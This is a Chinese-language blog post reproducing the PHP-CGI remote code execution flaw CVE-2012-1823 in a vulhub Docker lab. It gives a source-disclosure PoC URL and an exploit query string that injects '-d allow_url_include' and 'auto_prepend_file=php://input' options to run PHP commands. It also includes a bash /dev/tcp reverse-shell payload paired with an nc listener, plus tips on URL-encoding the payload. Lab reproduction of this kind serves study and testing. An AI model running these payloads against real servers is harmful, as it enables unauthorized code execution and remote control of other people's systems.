Post

漏洞复现-PHP-CGI远程代码执行 CVE-2012-1823

漏洞复现

构建

1
2
cd ./vulhub/php/CVE-2012-1823
docker-compose up -d 

漏洞原理

https://blog.csdn.net/jiyongx/article/details/105220880 https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823

PoC(Proof of Concept) 验证漏洞存在的代码

1
http://<ip>:<port>/index.php/?-s #将返回源码

Exp(Exploit)进行实际的攻击利用

使用-d来指定auto_prepend_file制造任意文件包含漏洞,使用burpsuite抓包,然后修改数据包内容。使用“+”代替空格%3d代替“=”​​​​​​​

payload 漏洞利用载荷:

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("ls"); ?>

执行截图:

image-20240828155056972

成功执行代码ls

建立反弹shell:

shellcode

靶机执行payload

1
<?php echo shell_exec("bash -c 'exec bash -i >& /dev/tcp/<监听机ip>/8999 0>&1'");?>

接收反弹Shell机器执行:nc -lvp 8999

复现总结

为什么payload 要 “+”代替空格%3d代替“=” ?

确保 URL 在传输过程中不被误解或破坏,进行转义。通常,空格会被编码为 %20,但在查询字符串中,空格也可以用 + 来表示。“=”替换为“%3d” 但on+-d ‘+’ 作为与后一个-d的参数分隔符,不能换成 %20 %09 tab %2b url 解码即为 + 能代替空格

构造反弹shell

注意: 接收反弹Shell机器 监听端口防火墙要配置放行,任意ip能访问,安装nc 靶机 能够执行bash命令,且访问到监听机

This post is licensed under CC BY 4.0 by the author.